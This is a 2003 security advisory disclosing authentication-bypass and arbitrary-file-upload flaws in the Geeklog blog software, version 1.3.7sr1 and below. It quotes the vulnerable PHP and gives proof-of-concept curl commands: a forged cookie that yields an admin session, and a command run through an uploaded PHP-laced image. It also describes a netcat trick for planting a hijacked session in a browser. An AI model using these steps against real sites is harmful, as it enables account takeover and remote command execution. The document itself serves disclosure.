geeklog.txt

`Products: Geeklog 1.3.7sr1 and below (http://www.geeklog.net)  
Date: 29 May 2003  
Author: pokleyzz <pokleyzz_at_scan-associates.net>  
Contributors: sk_at_scan-associates.net   
shaharil_at_scan-associates.net   
munir_at_scan-associates.net  
URL: http://www.scan-associates.net  
  
Summary: Geeklog 1.3.7sr1 and below multiple vulnerabilities.  
  
Description  
===========  
Geeklog is a 'blog', otherwise known as a Weblog. It allows you to create your   
own virtual community area, complete with user administration, story posting,   
messaging, comments, polls, calendar, weblinks, and more! It can run on many   
different operating systems, and uses PHP4 and MySQL.  
  
Details  
=======  
i) SQL Integer manipulation in authentication script.  
  
from lib-sessions.php line 128 ------------------------------------------------  
  
if (isset($HTTP_COOKIE_VARS[$_CONF['cookie_name']])) {  
// Session cookie doesn't exist but a perminant cookie does.  
// Start a new session cookie;  
if ($_SESS_VERBOSE) {  
COM_errorLog('perm cookie found from lib-common.php',1);  
}  
  
$userid = $HTTP_COOKIE_VARS[$_CONF['cookie_name']];   
$cookie_password = $HTTP_COOKIE_VARS[$_CONF['cookie_password']];  
  
//echo $userid;  
  
$userpass = DB_getItem($_TABLES['users'],'passwd',"uid = $userid");  
  
if ($cookie_password <> $userpass) {   
// User could have modified UID in cookie, don't do shit  
  
} else {  
if ($userid) {  
$user_logged_in = 1;  
//echo $userid;  
// Create new session and write cookie  
$sessid = SESS_newSession($userid, $REMOTE_ADDR, $_CONF['session_cookie_timeout'], $_CONF['cookie_ip']);  
SESS_setSessionCookie($sessid, $_CONF['session_cookie_timeout'], $_CONF['cookie_session'], $_CONF['cookie_path'], $_CONF['cookiedomain'], $_CONF['cookiesecure']);  
$userdata = SESS_getUserDataFromId($userid);  
$_USER = $userdata;  
}  
}  
}  
  
------------------------------------------------------------------------  
  
In this case :  
DB_getItem($_TABLES['users'],'passwd',"uid = $userid"); will execute  
"SELECT passwd from $_TABLES['users'] where uid=$userid"  
  
When we supply non-existance user we can by pass the ($cookie_password <> $userpass)   
cause $userpass and $cookie_password will be null.  
  
example:  
curl -b geeklog=9999 http://blablaba/users.php  
  
  
  
SESS_newSession($userid, $REMOTE_ADDR, $_CONF['session_cookie_timeout'], $_CONF['cookie_ip']);  
will execute SQL query   
"INSERT INTO {$_TABLES['sessions']} (sess_id, md5_sess_id, uid, start_time, remote_ip) VALUES ($sessid, '$md5_sessid', 9999, $currtime, '$remote_ip')"  
  
valid session for user 9999 which is not exist will insert to database;  
  
Integer manipulation to get admin access  
----------------------------------------  
By supplying floating point number as userid, user can easily login as any geeklog  
user. This is because userid is integer value in database and floating point number  
always give null value for $userpass (non-existance user) . 2.1 will insert as 2 in   
column with integer data type.  
  
proof of concept:  
curl -b geeklog=2.1 -D header.txt http://blablaba/users.php  
  
header.txt will contain valid session for admin.  
  
  
ii) Upload image with any extension.  
  
There is lack in error checking for upload image scripts where user can upload valid  
with any extention ( users and stories module). User supplied extension will be used   
for images extension. By embed php code in image user can execute any command as apache   
user on remote server.  
  
proof of concept:  
i) Upload attached file to server using "Internet Explorer". "Internet Explorer"  
will use file header to generate mime-type for uploaded file.  
ii) curl -d 'cmd=ps -ef' http://blablabla/images/XXXXX-X.php  
  
  
Vendor Response   
===============   
Vendor has been contacted on 19/05/2003 and fix version is available  
http://www.geeklog.net  
  
  
Tips  
====  
Simple way to trick mozilla to store session from any site.  
  
i) Edit header.txt.  
  
----------------header.txt -------------------------  
  
HTTP/1.1 200 OK  
Date: Sat, 17 May 2003 16:15:23 GMT  
Server: Apache  
Set-Cookie: gl_session=1828197392; path=/  
Set-Cookie: LastVisit=1053188123; expires=Sun, 16-May-2004 16:15:23 GMT;   
path=/  
Set-Cookie: LastVisitTemp=deleted; expires=Fri, 17-May-2002 16:15:22   
GMT; path=/; domain=http://blablabla/  
Transfer-Encoding: chunked  
Content-Type: text/html; charset=iso-8859-1  
  
10  
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  
  
  
----------------header.txt --------------------------  
  
ii) Using netcat netcat  
# nc -l -p 9090 < header.txt  
  
iii) Set your mozilla http proxy server to 127.0.0.1:9090  
  
iii) Browse to http://blablaba.com/  
  
iv) Unset proxy and browse to http://blablabla.com  
  
  
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